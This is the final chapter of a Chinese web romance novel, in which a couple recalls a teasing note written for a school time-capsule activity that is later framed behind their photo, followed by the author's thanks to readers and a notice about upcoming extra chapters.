“你啥时候写的,怎么塞我信封了?” 凌湛看了一眼。 其实他自己都不太记得了。 当时是什么情况。 他回忆了下:“你拿着活动宣传单来找我。” 合雨悠望着他:“嗯嗯,然后呢?” 凌湛:“你说过了十年看见这个,一定很有意义吧。” 合雨悠拿着那张信,看着那行字:“……也不能说完全没意义吧。有一点吧,放在我手账里也是很好笑的一句话。” 凌湛拿起来看了眼:“当时不知道写什么,你写好后我才随便写了一句话,放在了你的信封里。” 还贴了一张宝贵的棕榈和星星贴纸。 或许是那一瞬转变的想法,是从浩瀚宇宙里、从未来启示里得到的。 让他产生了“我如果真的不写一定会后悔”的转瞬即逝的念头。 那段时间他频繁地喊合雨悠小矮子小矮子的。 合雨悠好像很不高兴,跺脚瞪着他。 真的、就很可爱啊。 凌湛说:“还好我真的写了,没有嫌这个活动麻烦而毫无意义。收着吧,裱起来,放床头,和婚纱照一起放。” 合雨悠和他对视一眼说:“这就不必了吧,我对外身高一六五呢。” 他垂眸:“我不,我要裱,还要当壁纸。小、矮、子。” 合雨悠包子脸。 …… 若干年后,这张纸真的裱了起来。 放在了某个两人学生时代在出租屋合影的自拍照的背面。 合雨悠坐在他怀里,正对镜头,比耶和露齿笑。凌湛头微微一歪,下巴搁在她肩膀。 “咔嚓——” 相片在一个极小的世界里,安静、近乎完美地进行着。 从相片的开头,变成了命运的开始。 【正文完】—— 作者有话说:谢谢大家追文!!正文写完啦,还有点番外,见家长呀什么的,这几天先不更啦,休息休息[三花猫头][三花猫头]谢谢追文,也发点红包~《 》